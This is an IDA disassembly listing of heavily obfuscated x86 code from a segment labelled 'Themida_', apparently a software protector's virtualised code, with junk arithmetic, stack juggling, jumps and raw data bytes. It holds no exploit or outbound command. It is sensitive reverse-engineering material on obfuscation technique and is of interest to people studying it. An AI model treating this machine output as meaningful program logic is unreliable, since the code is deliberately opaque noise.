		push	ebx
		push	6E0Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	eax
		push	edx
		jmp	loc_5213E2
; ---------------------------------------------------------------------------

loc_515410:				; CODE XREF: Themida_:00523EF8j
		push	dword ptr [esp]
		jmp	loc_523C9F
; ---------------------------------------------------------------------------
aCHT		db 'Áæ',8,'h·t',0
		align 10h
		dd 56240C89h, 6E64B9BEh, 0E9464E09h, 7A54h, 0E97EC380h
		dd 8AB8h
; ---------------------------------------------------------------------------

loc_515438:				; CODE XREF: Themida_:0051534Aj
		xor	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 58584170h
		add	esi, 0FFFFFFFFh
		push	ecx
		jmp	loc_518622
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 0E9h
		dd 0FFFFF458h, 25F42D58h, 0DFE96322h, 8900000Ch, 4C381E3h
		dd 83000000h, 1C8704EBh, 34895C24h, 6E0E924h, 89560000h
		dd 4C681E6h, 83000000h,	93E904EEh
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51548F:				; CODE XREF: Themida_:00512A6Bj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ecx, 44881649h
		jmp	loc_516705
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSiusfu		db '$S‰ãéfž',0
		db 0
; ---------------------------------------------------------------------------

loc_5154AD:				; CODE XREF: Themida_:0051D7ACj
		dec	eax
		jmp	loc_517695
; ---------------------------------------------------------------------------
		db 58h
		dd 0A150C181h, 0CE01B358h, 0DC45E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5154C2:				; CODE XREF: Themida_:0051B0B9j
		add	esp, 4
		push	dx
		push	ecx
		mov	ch, 4Bh
		not	ch
		add	ch, 1Bh
		shl	ch, 3
		sub	ch, 0C5h
		mov	dl, ch
		pop	ecx
		add	dl, 0BEh
		push	ecx
		mov	ch, 6Dh
		inc	ch
		push	eax
		mov	al, 91h
		neg	al
		shl	al, 3
		jmp	loc_511509
; ---------------------------------------------------------------------------
aLse		db ',‹éE+',0
		align 4
		dd 0AA9CEE81h, 0B8E9F5A2h, 89000080h, 0DF8959CBh, 0F42CE9h
		dd 0B8BB5300h, 81527953h, 1869D0CBh, 4BDBF777h,	0EB46C381h
		dd 0E6E9A43Dh, 83000021h, 1C8904ECh, 81E38924h,	4C3h, 4C38100h
		dd 87000000h, 248B241Ch, 2E98324h, 31240C33h, 0B2E9240Ch
		dd 81FFFFE4h, 930007F3h, 0E9D88944h, 0A66h, 5203E0C1h
		dd 1C8045BAh, 5AD031D0h, 0A178E9h, 81DAF700h, 0AC6A7BCAh
		dd 0AFC2810Fh, 8968BC08h, 7FB0E9D5h, 89530000h,	4C381E3h
		dd 55000000h, 0FFD1FDE9h, 0C895CFFh, 1DD96824h,	49593438h
		dd 0FFD25FE9h, 4C581FFh, 81000000h, 4EDh, 0AC28E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5155AE:				; CODE XREF: Themida_:00510349j
		mov	ebp, 46FF362Dh
		mov	ecx, 46FF3629h
		jmp	loc_510DC3
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 53000000h, 42474FFh,	24048F5Bh, 0C8B5A5Ch, 4C48124h
		dd 0E9000000h, 0CD7Ah, 2414335Dh, 33241431h, 248B2414h
		dd 24D36624h, 19E99C24h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5155F3:				; CODE XREF: Themida_:0051059Fj
		mov	esi, 659E077Dh
		add	esi, 14653486h
		add	esi, 477F4EC4h
		xor	esi, 9117C6D5h
		xor	eax, esi
		pop	esi
		jmp	loc_51930F
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 8704C183h, 525C240Ch, 0BAh, 50C20100h, 0B8h, 1D00100h
		dd 585A5808h, 1B00E95Bh, 24890000h, 24048324h, 2434FF04h
		dd 35C2E95Fh, 0EC830000h, 0DD09E904h, 34FFFFFFh, 0EC815A24h
		dd 4, 0E7B5E9h,	4BF00h,	0B1E90000h, 8900006Dh, 480E9D8h
		dd 1C8B0000h, 3CE0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51567A:				; CODE XREF: Themida_:005244C4j
		pop	ecx
		mov	edx, esi
		pop	esi
		add	edx, 4AE82151h
		add	edx, edi
		push	edi
		mov	edi, 0B064E55h
		add	edi, 2DA96415h
		inc	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		xor	edi, 3DC3438Eh
		jmp	loc_519C99
; ---------------------------------------------------------------------------
		db 55h
		dd 268h, 242C8B00h, 104C483h, 2434FFE8h, 0E289525Dh, 4C281h
		dd 0C2830000h, 24148704h, 3324248Bh, 4312404h, 24043324h
		dd 0FFCAB9E9h, 0D8E95CFFh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5156DB:				; CODE XREF: Themida_:00511980j
		sub	eax, edi
		pop	edi
		add	eax, esi
		add	eax, 86E089Ch
		pop	esi
		push	130Ah
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_51996F
; ---------------------------------------------------------------------------

loc_5156FB:				; CODE XREF: Themida_:0051AA0Aj
		mov	[esp], ebx
		push	5309h
		jmp	loc_518333
; ---------------------------------------------------------------------------
		dd 0D2E18141h, 0C10E7A4Bh, 7FE905E9h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_515717:				; CODE XREF: Themida_:00520971j
		pop	ebp
		add	ebp, 1B3D2C90h
		add	ebp, eax
		sub	ebp, 1B3D2C90h
		pop	eax
		sub	ebp, 4
		push	ebp
		jmp	loc_524563
; ---------------------------------------------------------------------------
		dd 555BD901h, 2761C4BDh, 8BE901C5h, 0C481242Ch,	4, 0C8BC801h
		dd 4C48124h, 87000000h,	248B2404h, 2424D324h, 9FAEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51575E:				; CODE XREF: Themida_:00517FA3j
		shr	ecx, 3
		shl	ecx, 7
		sub	ecx, 208C641Ah
		jmp	loc_51FD4B
; ---------------------------------------------------------------------------

loc_51576F:				; CODE XREF: Themida_:0051939Dj
		push	71F4h
		mov	[esp], ecx
		push	edi
		jmp	loc_5141B1
; ---------------------------------------------------------------------------
		db 5Bh,	2Dh, 4Bh
		dd 89787E39h, 24048BC3h, 4C481h, 0DF010000h, 4EF815Bh
		dd 87000000h, 38E9243Ch, 0FF000044h, 815F2434h,	4C4h, 19E95500h
		dd 0FF000076h, 589D1C77h, 9C240411h, 0FF9F4FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5157BD:				; CODE XREF: Themida_:00524BF8j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_519670
; ---------------------------------------------------------------------------
		db 51h
		dd 42474FFh, 0F2E9E9h, 88525300h, 5AD788C2h, 7965E9h, 5E545600h
		dd 4C681h, 0C6830000h, 0CA64E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_515806:				; CODE XREF: Themida_:00518B2Cj
		mov	esp, [esp]
		jmp	loc_516F66
; ---------------------------------------------------------------------------
aISap		db 'ˆêéA',0
		db 0
; ---------------------------------------------------------------------------

loc_515815:				; CODE XREF: Themida_:0050FB58j
		shl	edx, 2
		not	edx
		not	edx
		xor	edx, 7275FAABh
		sub	esi, edx
		pop	edx
		pop	ebx
		shr	esi, 4
		push	ebx
		jmp	loc_51BBD5
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704EFh, 14895C24h, 384DBA24h, 73E94BDDh, 89000054h
		dd 5A542414h, 2BFBE9h, 24048700h, 5A54525Ch, 4C281h, 44E90000h
		dd 21000019h, 0E95B1C5Fh, 0FFFF9EA4h, 66D830ACh, 0E92E6468h
		dd 0FFFFBE2Ch, 3742E581h, 0D5F72F3Eh, 0E947FD87h, 3C60h
		dd 0E9243487h, 0EDCDh, 0E9240489h, 6C74h
; ---------------------------------------------------------------------------

loc_515894:				; CODE XREF: Themida_:00517AC0j
		mov	ebx, esi
		pop	esi
		jmp	loc_519365
; ---------------------------------------------------------------------------

loc_51589C:				; CODE XREF: Themida_:005239AFj
		mov	[esp], esi
		mov	esi, 573F4823h
		or	esi, 1D191721h
		not	esi
		neg	esi
		jmp	loc_516873
; ---------------------------------------------------------------------------

loc_5158B3:				; CODE XREF: Themida_:00520679j
		push	ecx
		mov	ecx, esp
		jmp	loc_511D16
; ---------------------------------------------------------------------------
		db 83h
		dd 896604C4h, 81665FF9h, 6660C3E1h, 0BA8E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5158CE:				; CODE XREF: Themida_:00521744j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	3DD4h
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 40DE0875h
		shl	edx, 1
		jmp	loc_524391
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 244560EAh, 5AD12957h, 0C8BCD29h, 4C48324h, 8B242C87h
		dd 0C892424h, 9DFAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_515912:				; CODE XREF: Themida_:00524A72j
		pop	ecx
		mov	bl, 80h
		jmp	loc_51A760
; ---------------------------------------------------------------------------
		dw 0D7F6h
		dd 28ACC780h, 0E52C5BFDh, 0E504E800h, 0E9240C8Bh, 0FFFFAB6Ah
		dd 0E588DC88h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_510F5D
; ---------------------------------------------------------------------------

loc_51593F:				; CODE XREF: Themida_:00520F61j
		mov	ebx, 14684088h
		add	ecx, ebx
		pop	ebx
		add	ecx, 22F829B0h
		jmp	loc_511BD8
; ---------------------------------------------------------------------------

loc_515952:				; CODE XREF: Themida_:0051CAEAj
		push	edi
		mov	edi, 12C118Dh
		add	edi, 0FFFFFFFFh
		push	edx
		mov	edx, 456F2C93h
		xor	edi, edx
		mov	edx, [esp]
		push	ecx
		jmp	loc_51828F
; ---------------------------------------------------------------------------

loc_51596C:				; CODE XREF: Themida_:00517FABj
		pop	eax
		add	esp, 4
		push	71C9h
		jmp	loc_513C88
; ---------------------------------------------------------------------------

loc_51597D:				; CODE XREF: Themida_:0051B5ADj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5229DF
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 4088h
; ---------------------------------------------------------------------------

loc_5159A0:				; CODE XREF: Themida_:00514434j
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 761351F5h
		xor	ebx, 2D1A0A9Fh
		shr	ebx, 2
		sub	ebx, 16C256D6h
		add	ecx, ebx
		jmp	loc_519FAE
; ---------------------------------------------------------------------------

loc_5159C5:				; CODE XREF: Themida_:005140A8j
		push	ax
		mov	ah, 7Fh
		jmp	loc_523E87
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 5602E3C1h, 7A26E7BEh, 5EF3018Bh, 0CC18E9h, 82C18100h
		dd 1CAECE6h, 681FE9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5159EE:				; CODE XREF: Themida_:0051B742j
		pop	edi
		push	ebx
		push	4
		jmp	loc_5171BE
; ---------------------------------------------------------------------------
		dw 0C7BBh
		dd 294F5C61h, 5B0C245Ch, 6E29E9h, 2434FF00h, 1854E9h, 0F2895900h
		dd 3EAC15Eh, 1EA81h, 814A0000h,	0C54D20F2h, 4EEA8119h
		dd 29C00C70h, 7877E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_515A32:				; CODE XREF: Themida_:0051FA64j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_511A32
; ---------------------------------------------------------------------------
		dd 0EE81FE01h, 15045685h, 695E9h, 24043300h, 396BE9h, 24148B00h
		dd 4C481h, 0DAE90000h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_515A6B:				; CODE XREF: Themida_:00512820j
		xor	edx, [esp]
		pop	esp
		jmp	loc_5220A1
; ---------------------------------------------------------------------------
		dd 3DEE68h, 24148900h, 33242C31h, 2C31242Ch, 9B17E924h
		dd 83560000h, 148904ECh, 4EC8124h, 89000000h, 0CFBE2434h
		dd 687C9D2Fh, 0EC122E05h, 8324148Bh, 0C28104C4h, 532C62CEh
		dd 0EA81F201h, 532C62CEh, 735EE9h, 4C48100h, 33000000h
		dd 1C31241Ch, 241C3324h, 0FFD3F4E9h, 2474FFFFh,	2434FF04h
		dd 582434FFh, 0E95D5455h, 0DB29h, 218BF381h, 0D9013061h
		dd 0D74BE95Bh, 0FF5B0000h, 815D2434h, 4C4h, 44295900h
		dd 6E90424h, 88000058h,	876C88FDh, 240C8B01h, 1840E9h
		dd 7A030500h, 0E82923DCh, 0DC7A032Dh, 3C8B5D23h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5164A6
; ---------------------------------------------------------------------------
		dd 6685F66h, 8900004Fh,	0E9502414h, 0CF0Ah, 33243C31h
		dd 248B243Ch, 2404FF24h, 9BAEE99Ch, 0BF57FFFFh,	20A75289h
		dd 0C4F8E9h, 240C8B00h,	4C481h,	34FF0000h, 54515824h, 4C18159h
		dd 52000000h, 4BAh, 5AD10100h, 5C240C87h, 2C381h, 1C330000h
		dd 4F69E924h, 0C330000h, 0B3F8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_515BA2:				; CODE XREF: Themida_:0051A0F7j
		mov	dh, 52h
		and	dh, 5
		inc	dh
		jmp	loc_511AB4
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 108B1434h, 0E95AD131h, 17B8h, 240C8B66h, 140A68h, 241C8900h
		dd 0FFC566E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_515BCD:				; CODE XREF: Themida_:00515D24j
		xchg	edi, [esp]
		pop	esp
		movzx	ecx, ax
		push	260Dh
		mov	[esp], ecx
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_515BE1:				; CODE XREF: Themida_:00510FEBj
		add	ebx, 4FBD7C24h
		and	ebx, 70703B52h
		add	ebx, 48AC562Fh
		jmp	loc_51ADBA
; ---------------------------------------------------------------------------
		dd 4BAh, 24540100h, 34FF5A04h, 241C8B24h, 4C481h, 0EC810000h
		dd 4, 0E9242C89h, 5CD5h, 8324048Bh, 0B60F04C4h,	8734FFC0h
		dd 0FF9ADFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_515C2D:				; CODE XREF: Themida_:0050F764j
		mov	esp, [esp]
		jmp	loc_51B8AD
; ---------------------------------------------------------------------------

loc_515C35:				; CODE XREF: Themida_:00516941j
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_51934E
; ---------------------------------------------------------------------------

loc_515C48:				; CODE XREF: Themida_:00521622j
		xor	edx, 40E84AE1h
		jmp	loc_52045E
; ---------------------------------------------------------------------------

loc_515C53:				; CODE XREF: Themida_:0052494Aj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 3AD93C55h
		not	ebx
		shr	ebx, 2
		neg	ebx
		neg	ebx
		jmp	loc_517CC0
; ---------------------------------------------------------------------------
		dd 77414A05h, 1D0FE969h, 0E95B0000h, 0FFFF9A8Ch, 48BC729h
		dd 4C48124h, 0E9000000h, 426Ah,	8904EC83h, 7AE92404h, 2D0000C2h
		dd 63975C11h, 0A11FE9h,	30C76800h, 34890000h, 4BE24h, 0DE90000h
		dd 2D000034h, 0C424A4DDh, 0A94BE9h
		db 0
; ---------------------------------------------------------------------------

loc_515CC1:				; CODE XREF: Themida_:00520CD0j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_51405A
; ---------------------------------------------------------------------------

loc_515CD1:				; CODE XREF: Themida_:005236ABj
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		jmp	loc_51DBE9
; ---------------------------------------------------------------------------
		dd 582CE828h, 0D8285966h, 0EC833404h, 14896602h, 0EC835024h
		dd 24148904h, 0B7E9BCB6h, 0C4h,	0ADE980D1h, 6CC1805Ah
		dd 0E980F928h, 0EF59E96Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_515D12:				; CODE XREF: Themida_:0051EC8Ej
		mov	eax, [esp]
		jmp	loc_515E72
; ---------------------------------------------------------------------------

loc_515D1A:				; CODE XREF: Themida_:00520A6Dj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_515BCD
; ---------------------------------------------------------------------------
		db 66h,	68h, 3Ch
		dd 0C896625h, 0E5B45024h, 0C6EDE9h, 4BD00h, 0EF010000h
		dd 243C875Dh, 6E7E95Ch,	4AC0000h, 52D800FCh, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 62E92434h, 1FFFFBDh, 0AED81D5h
		dd 5A7AA228h, 0E906EDC1h, 0FFFFE4AEh, 405E089h,	2D000000h
		dd 4, 5C240487h, 0E9243C89h, 3FA5h, 0C781E789h,	4, 4BA52h
		dd 0FAE90000h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_515DA3:				; CODE XREF: Themida_:0051B5D9j
		sub	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_51685D
; ---------------------------------------------------------------------------

loc_515DAD:				; CODE XREF: Themida_:005100D8j
		mov	[esp], edi
		push	33EDh
		mov	[esp], esp
		jmp	loc_51BC29
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 8Bh
		dd 8957242Ch, 4C781E7h,	83000000h, 3C8704C7h, 4875C24h
		dd 24248B24h, 0DF3E9h, 241C8900h, 3115E951h, 0BE560000h
		dd 388320E6h, 0EEC1EED1h, 791E907h, 0E95B0000h,	0FFFFFFEAh
		dd 5604C483h, 7BADE9h, 240C8900h, 26E955h, 2DAD0000h, 6FEB120Ch
		dd 5D6CB951h, 0C82967EDh, 0FF2434FFh
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5142CE
; ---------------------------------------------------------------------------
		dd 554D85BDh, 81DDF77Bh, 660E51C5h, 0CEED8147h,	8971EE86h
		dd 81BE9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_515E4E:				; CODE XREF: Themida_:0051E689j
		and	edi, 0B967193h
		add	edi, 76FC1F58h
		sub	ebx, edi
		jmp	loc_518BF1
; ---------------------------------------------------------------------------

loc_515E61:				; CODE XREF: Themida_:0051764Dj
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_520DFF
; ---------------------------------------------------------------------------

loc_515E72:				; CODE XREF: Themida_:00515D15j
		add	esp, 4
		jmp	loc_5194FA
; ---------------------------------------------------------------------------
		dw 69B4h
		dd 0FFACEAE9h, 4C581FFh, 0E9000000h, 345Fh, 6624248Bh
		dd 66241489h, 71E99C50h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_515E9B:				; CODE XREF: Themida_:0051945Fj
		push	ebx
		mov	ebx, 7F751BDAh
		inc	ebx
		push	6510h
		mov	[esp], ebx
		jmp	loc_516A1F
; ---------------------------------------------------------------------------

loc_515EAF:				; CODE XREF: Themida_:0051F0C1j
		mov	ebx, ecx
		jmp	loc_5228F5
; ---------------------------------------------------------------------------
		dw 34FFh
aXsui		db '$X铉',0
		dw 100h
		dd 0F9015AD1h, 3053BD55h, 0B2E9063Eh, 870000C7h, 805C241Ch
		dd 0C3802DC3h, 66C32870h, 0D600E950h, 4050000h,	83000000h
		dd 0FF5004C0h, 0FF042474h, 9E92434h, 8F0000C7h,	248B2404h
		dd 0A30F6624h, 0E99C2404h, 0FFFF9804h, 6602EC83h, 0B7241C89h
		dd 66FE2858h, 0FEC6FE5Bh, 0A1B450CEh, 0E9D5EE80h, 2954h
		dd 5366BA24h, 0D80053B3h, 7106E9h, 0EC835C00h, 5DE3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_515F3A:				; CODE XREF: Themida_:0051DB18j
		mov	[esp], eax
		jmp	loc_5196C8
; ---------------------------------------------------------------------------

loc_515F42:				; CODE XREF: Themida_:005240DCj
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_51214C
; ---------------------------------------------------------------------------

loc_515F53:				; CODE XREF: Themida_:00514806j
		mov	ebp, esp
		jmp	loc_5247C2
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 81E58924h, 4C5h, 7D6D6800h, 4890000h, 2B824h, 0C5290000h
		dd 242C3358h, 9FA7E9h, 5EF53100h, 415DE909h, 11684941h
		dd 89000046h, 0E4E9243Ch, 890000EAh, 0DF37E9E0h, 0E95E0000h
		dd 0C121h, 9C9BE56h, 5EE935DFh,	8300008Dh, 0C38004C4h
		dd 80C328CBh, 0EB80CBEBh, 0A6D9E9CBh, 15BFFFFh,	0BA525AD0h
		dd 5E1367C3h, 144AE9h, 4EC8300h, 0BB241C89h, 6575E99h
		dd 3149F381h, 0C38173FFh, 2FDC6D41h, 47AAE381h,	0E3D10F55h
		dd 0B63FE9h, 0EE814600h, 173B30E6h, 240CFF56h, 6EF6815Eh
		dd 0E94264F4h, 7ABh, 4C181h, 0E9530000h, 0A844h
; ---------------------------------------------------------------------------

loc_516014:				; CODE XREF: Themida_:0051B104j
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		push	dword ptr [esp]
		jmp	loc_50F944
; ---------------------------------------------------------------------------
		dd 6F5D5BBFh, 7EFC135h,	214AC781h, 37E9FF95h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51603F:				; CODE XREF: Themida_:00514DD7j
		neg	edx
		jmp	loc_51D024
; ---------------------------------------------------------------------------
		dw 0B60Fh
		dd 4EC83C0h, 83240C89h,	348904ECh, 81E68924h, 4C6h, 4EE8300h
		dd 5C243487h, 0FFA130E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_516069:				; CODE XREF: Themida_:005240BDj
		push	ebx
		mov	ebx, 120C19D9h
		dec	ebx
		xor	ebx, 19ED217Eh
		dec	ebx
		and	ebx, 6CEF7F82h
		add	ebx, 7EC057F5h
		sub	ebx, 2C11169Dh
		jmp	loc_51D4DD
; ---------------------------------------------------------------------------
		dw 489h
		dd 5E08924h, 4,	0DFB85053h, 0BB7C1955h,	7C1955E1h, 0C3E9C329h
		dd 660000A2h, 0E924048Bh, 9E78h
; ---------------------------------------------------------------------------

loc_5160B4:				; CODE XREF: Themida_:00519CCFj
		mov	ebp, esp
		push	esi
		mov	esi, 603E54D4h
		sub	esi, 1E7A14C8h
		shl	esi, 5
		add	esi, 0C777FE84h
		add	ebp, esi
		pop	esi
		jmp	loc_51004F
; ---------------------------------------------------------------------------

loc_5160D3:				; CODE XREF: Themida_:00516F4Cj
		pop	eax
		add	ebx, 0F0DE8679h
		jmp	loc_51A49E
; ---------------------------------------------------------------------------

loc_5160DF:				; CODE XREF: Themida_:00519FDCj
		xor	dword ptr [ecx], 45400131h
		jmp	loc_51630E
; ---------------------------------------------------------------------------
		dw 525Fh
		dd 0FFAB15E9h, 242C33FFh, 6624248Bh, 0B7241C89h, 66FA3068h
		dd 50241C8Bh, 0BA525854h, 4, 4E9D001h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_516113:				; CODE XREF: Themida_:0051FA05j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_51C4A4
; ---------------------------------------------------------------------------

loc_516120:				; CODE XREF: Themida_:005145BCj
		shl	ebp, 6
		dec	ebp
		push	esi
		jmp	loc_51303B
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4C28124h, 55000000h,	3FACE9h
		db 0
; ---------------------------------------------------------------------------

loc_516139:				; CODE XREF: Themida_:00520EFCj
		mov	edi, esi
		pop	esi
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_5218D3
; ---------------------------------------------------------------------------
		dw 8957h
		dd 5FFB89C7h, 14E95958h, 5C000001h, 0FF971BE9h,	1C77FFFFh
		dd 0D259669Dh, 0E99C2414h, 0FFFF95A4h, 0BD242C89h, 4, 875DE929h
		dd 895C240Ch, 4BF243Ch,	81000000h, 0A24664C1h, 81F90123h
		dd 0A24664E9h, 0C875F23h, 8FE95C24h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_516197:				; CODE XREF: Themida_:0051CE7Fj
		pop	edx
		jmp	loc_514DB5
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
aSf5		db '´Èé”5',0
		db 0
; ---------------------------------------------------------------------------

loc_5161A7:				; CODE XREF: Themida_:0052199Dj
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		jmp	loc_51C713
; ---------------------------------------------------------------------------
		dw 1C89h
aIusiq		db '$‰ãé‰Q',0
		align 4
		dd 0FF240489h, 58042474h, 8B24048Fh, 5DE92424h,	0ACFFFFD1h
		dd 8713E956h, 0C6FE0000h, 0CEFECEFEh, 0D1B151h,	885059CEh
		dd 0C58851F0h, 5859EF88h, 0E806E95Ah, 0B02C0000h, 6304492Ch
		dd 8072B551h, 0F5805CCDh, 59E800E1h, 24148B66h,	6802C483h
		dd 1985h, 0B2241489h, 0C0C2FEABh, 0B6E907E2h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_51622B:				; CODE XREF: Themida_:005151D7j
		push	ebp
		jmp	loc_51B98F
; ---------------------------------------------------------------------------

loc_516231:				; CODE XREF: Themida_:00519A51j
		pop	ecx
		push	ebp
		mov	ebp, 60C410A9h
		add	ebx, ebp
		jmp	loc_51D20C
; ---------------------------------------------------------------------------
		db 81h
		dd 0CB042444h, 59331334h, 40558h, 38E90000h, 5C000027h
		dd 4EC81h, 14890000h, 8077B224h, 98E9ADC1h, 81FFFFFAh
		dd 4E4380EBh, 708AE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_516272:				; CODE XREF: Themida_:0051C75Ej
		push	eax
		mov	eax, 46613312h
		push	esi
		push	ecx
		mov	ecx, 543775Bh
		jmp	loc_524767
; ---------------------------------------------------------------------------

loc_516284:				; CODE XREF: Themida_:005236CEj
		mov	ebp, esp
		push	ebx
		mov	ebx, 13422630h
		add	ebx, 1DBC66F2h
		jmp	loc_5191CA
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 24248B24h,	0FF2434FFh, 34FF2434h, 0C91EE924h
		dd 0C281FFFFh, 36787EEEh, 0A22DC281h, 0ED817EA0h, 9284CD2h
		dd 0C581D501h, 9284CD2h, 0D8C3815Ah, 0E90F8F67h, 1E1Eh
		dd 661BE95Dh, 74FF0000h, 24E90424h, 81000032h, 4ECh, 24048900h
		dd 0E328C4B4h, 80C30058h, 0EC81C4C3h, 4, 0E9240C89h, 0FFFFD067h
		dd 2474FF52h, 0E1DBE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51630E:				; CODE XREF: Themida_:005160E5j
		pop	ecx
		jmp	loc_523E4C
; ---------------------------------------------------------------------------

loc_516314:				; CODE XREF: Themida_:00522E6Aj
		pop	esp
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_52214D
; ---------------------------------------------------------------------------
aZsa		db 'ZéA"',0
		db 0
; ---------------------------------------------------------------------------

loc_516329:				; CODE XREF: Themida_:0052470Bj
		add	esp, 4
		push	eax
		mov	ah, 0E2h
		sub	ah, 9Fh
		sub	cl, ah
		pop	eax
		shl	cl, 4
		and	cl, 0C5h
		sub	cl, 19h
		sub	bh, 0C5h
		add	bh, cl
		add	bh, 0C5h
		pop	ecx
		jmp	loc_524F19
; ---------------------------------------------------------------------------
		dd 81D2F759h, 0C800F8F2h, 348B5220h, 4C48324h, 1C77095Ah
		dd 8B2434FFh, 0C4812434h, 4, 4C481h, 8E680000h,	8900002Dh
		dd 0F268241Ch, 0E9000050h, 0FFFFBCD6h, 190A68h,	242C8900h
		dd 404668h, 0EBF1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_516396:				; CODE XREF: Themida_:00514E99j
		pop	esp
		push	18DEh
		jmp	loc_5213EC
; ---------------------------------------------------------------------------

loc_5163A1:				; CODE XREF: Themida_:0051ABC2j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ebx, esi
		pop	esi
		jmp	loc_51B8F9
; ---------------------------------------------------------------------------

loc_5163B2:				; CODE XREF: Themida_:0052108Aj
		inc	edx
		inc	edx
		jmp	loc_520C57
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 0F9F7E900h, 0BEBEFFFFh, 8139BB7Fh, 80429FCEh
		dd 6DEE8166h, 8168017Fh, 0D94D9BEEh, 4DC68127h,	0E9101F4Dh
		dd 6694h, 0A5EE815Ah, 682A902Eh, 7B64h,	0E9241489h, 0FFFFC5F1h
		dd 81242C89h, 4ECh, 24248900h, 4240483h, 5D2434FFh, 58AF68h
		dd 240C8900h, 8904EC83h, 4832424h, 0DAE90424h, 8300006Bh
